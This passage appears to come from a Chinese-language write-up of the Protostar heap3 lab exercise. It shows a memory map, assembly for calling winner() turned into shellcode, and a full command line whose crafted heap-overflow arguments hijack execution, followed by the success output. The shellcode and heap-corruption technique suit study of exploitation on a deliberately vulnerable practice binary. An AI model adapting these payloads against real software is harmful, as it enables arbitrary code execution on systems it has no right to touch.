  0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
  0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
  0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
  0xbffeb000 0xc0000000    0x15000          0           [stack]

  • 通过 Online x86 / x64 Assembler and Disassembler 将调用函数 winner 的汇编转换为 shellcode

    # move the address of winner() into eax and call
mov eax, 0x8048864
call eax
# \xB8\x64\x88\x04\x08\xFF\xD0

Exploit

$ ./heap3 `echo -ne "AAAA\xB8\x64\x88\x04\x08\xFF\xD0"` `python -c "print('B' * 36 + '\x65')"` `python -c "print('C' * 92 + '\xfc\xff\xff\xff' * 2 + '\x1c\xb1\x04\x08\x0c\xc0\x04\x08')"`
that wasn't too bad now, was it? @ 1662354454
Segmentation fault
最后更新: 2022年9月13日 00:59:36
Contributors: YanhuiJessica

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